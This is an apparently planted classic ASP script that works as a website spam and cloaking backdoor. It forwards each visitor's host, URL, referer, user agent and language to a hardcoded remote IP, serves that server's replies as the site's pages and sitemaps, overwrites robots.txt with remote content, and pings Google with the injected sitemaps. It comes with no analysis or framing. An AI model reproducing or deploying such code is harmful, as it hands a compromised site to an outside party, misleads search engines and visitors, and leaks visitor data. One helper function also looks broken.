<% Response.Charset="utf-8" Dim APISite APISite="http://192.151.149.18/a001/" Dim FreeHost_t1 Dim FreeHost_t2 Dim FreeHost_t3 Dim FreeHost_t4 FreeHost_t1=20000 FreeHost_t2=20000 FreeHost_t3=30000 FreeHost_t4=240000 Function GETOP(tar,req) Dim objXMLHTTP Set objXMLHTTP = Server.CreateObject("WinHttp.WinHttpRequest.5.1") objXMLHTTP.Option(6)=0 objXMLHTTP.setTimeouts FreeHost_t1, FreeHost_t2, FreeHost_t3, FreeHost_t4 objXMLHTTP.open "GET",tar&"?"&req, False objXMLHTTP.send If objXMLHTTP.status=200 Then GETOP = bytes2BSTR(objXMLHTTP.responsebody,"UTF-8") Else GETOP="HTTP Status:"&objXMLHTTP.status&" Information:"&bytes2BSTR(objXMLHTTP.responsebody,"utf-8") End If Set objXMLHTTP = Nothing End Function Function GETOPBYTE(tar,req) Dim objXMLHTTP Set objXMLHTTP = Server.CreateObject("WinHttp.WinHttpRequest.5.1") objXMLHTTP.Option(6)=0 objXMLHTTP.setTimeouts FreeHost_t1, FreeHost_t2, FreeHost_t3, FreeHost_t4 objXMLHTTP.open "GET",APISite&tar&"?"&req, False objXMLHTTP.send If objXMLHTTP.status=200 Then GETOPBYTE = objXMLHTTP.responsebody Else GETOP="HTTP Status:"&objXMLHTTP.status&" Information:"&bytes2BSTR(objXMLHTTP.responsebody,"utf-8") End If Set objXMLHTTP = Nothing End Function Function POSTOP(tar,PostBody) Dim objXMLHTTP Set objXMLHTTP = Server.CreateObject("WinHttp.WinHttpRequest.5.1") 'objXMLHTTP.Option(4)=13056 'objXMLHTTP.Option(6)=False objXMLHTTP.setTimeouts FreeHost_t1, FreeHost_t2, FreeHost_t3, FreeHost_t4 objXMLHTTP.open "POST",APISite&tar, False objXMLHTTP.setRequestHeader "Content-Type","application/x-www-form-urlencoded" objXMLHTTP.setRequestHeader "Content-Length",Len(PostBody) objXMLHTTP.setRequestHeader "accept","*/*" objXMLHTTP.setRequestHeader "accept_language","ja,zh-cn,zh" objXMLHTTP.SetRequestHeader "User-Agent", "Mozilla/6.0" '用户浏览器信息 objXMLHTTP.send PostBody objXMLHTTP.WaitForResponse If objXMLHTTP.status=200 Then POSTOP = bytes2BSTR(objXMLHTTP.responsebody,"UTF-8") Else POSTOP="HTTP Status:"&objXMLHTTP.status&" Information:"&bytes2BSTR(objXMLHTTP.responsebody,"UTF-8") End If Set objXMLHTTP = Nothing End Function Function bytes2BSTR(Body,Cset) Dim Objstream Set Objstream = CreateObject("adodb.stream") Objstream.Type=1 Objstream.Mode=3 Objstream.Open Objstream.Write Body Objstream.Position=0 Objstream.Type=2 Objstream.Charset=Cset bytes2BSTR=Objstream.ReadText Objstream.Close Set Objstream=Nothing End Function Function ReadFromTxt(myPath) Dim str,fso, ftxt, rtxt Set fso = CreateObject("Scripting.FileSystemObject") Set ftxt = fso.GetFile(myPath) '//读取Txt Set rtxt = ftxt.OpenAsTextStream(ForReading, TristateUseDefault) str = rtxt.ReadLine MsgBox str '显示读取到的文件 rtxt.Close Set fso = Nothing Set ftxt = Nothing Set rtxt = Nothing ReadFromTxt=str End Function Dim url_http,domain,req_uri,href,subhref,req_url,referer,user_agent,accept_language,postdata If Request.ServerVariables("HTTPS") = "on" Then url_http="https://" Else url_http="http://" End If domain = "domain="&Request.ServerVariables("Http_Host") req_uri = "req_uri="&Request.ServerVariables("HTTP_url") href="href="&url_http & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO") subhref=url_http & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO") req_url="req_url="&url_http & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO") & "?" & Request.ServerVariables("QUERY_STRING") referer="referer="& Request.ServerVariables("http_referer") If InstrRev(req_url, ".xml")>0 Then Response.Write "" Else Response.Write "
"&referer&"
" End If user_agent="user_agent="&Request.ServerVariables("Http_User_Agent") accept_language="accept_language="&Request.ServerVariables("Http_Accept_Language") postdata=domain&"&"&req_uri&"&"&href&"&"&req_url&"&"&referer&"&"&user_agent&"&"&accept_language Dim old,http2,returnval,returnval1,data_new,data_new1 if InstrRev(req_url, ".xml")>0 then APIret=POSTOP("map.php",postdata) if InstrRev(req_url, "pingsitemap.xml")>0 then old=Split(APIret,",") Dim str_cont_arr() for i=lbound(old) to ubound(old)+1 ReDim Preserve str_cont_arr(i) if (i= (ubound(old)+1)) then str_cont_arr(i)="sitemap" else str_cont_arr(i)=old(i) end if next for i=lbound(str_cont_arr) to ubound(str_cont_arr) http2 = subhref & "?" & str_cont_arr(i) & ".xml" data_new = "https://www.google.com/ping?sitemap=" & http2 data_new1 = "http://www.google.com/ping?sitemap=" & http2 returnval=GETOP(data_new,"") returnval1=GETOP(data_new1,"") if InstrRev(returnval, "successfully")>0 then Response.Write data_new & "===>Submitting Google Sitemap: OK" & "
" elseif InstrRev(returnval1, "successfully")>0 then Response.Write data_new1 & "===>Submitting Google Sitemap: OK" & "
" else Response.Write data_new1 & "===>Submitting Google Sitemap: fail" & "
" end if next else With Response .ContentType = "text/XML" .write(APIret) End with end if elseif InstrRev(req_url, ".html")>0 then 'If Request.ServerVariables("HTTP_REFERER") <> "" Then ' referer="referer="& Request.ServerVariables("http_referer") ' Else ' referer="referer=google.jp" ' End If postdata=domain&"&"&req_uri&"&"&href&"&"&req_url&"&"&referer&"&"&user_agent&"&"&accept_language APIret=POSTOP("jump.php",postdata) 'Response.Write postdata 'Response.Write Request.ServerVariables("http_referer") Response.Write APIret elseif InstrRev(req_url, "robots")>0 then APIret=POSTOP("robots.php",postdata) Dim currentPath,robots_cont currentPath = Server.MapPath(".") 'Response.Write currentPath&"\robots.txt" 'Response.Write APIret Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject") Set MyTextFile=MyFileObject.CreateTextFile(currentPath&"\robots.txt") MyTextFile.WriteLine(APIret) MytextFile.Close Set MyTextFile=MyFileObject.OpenTextFile(currentPath&"\robots.txt") While not MyTextFile.AtEndOfStream robots_cont=MyTextFile.ReadLine Wend MyTextFile.Close if InstrRev(robots_cont, "sitemap")>0 then Response.Write "robots.txt file create success!" & "
" else Response.Write "robots.txt file create fail!" & "
" end if else Response.Write postdata end if %>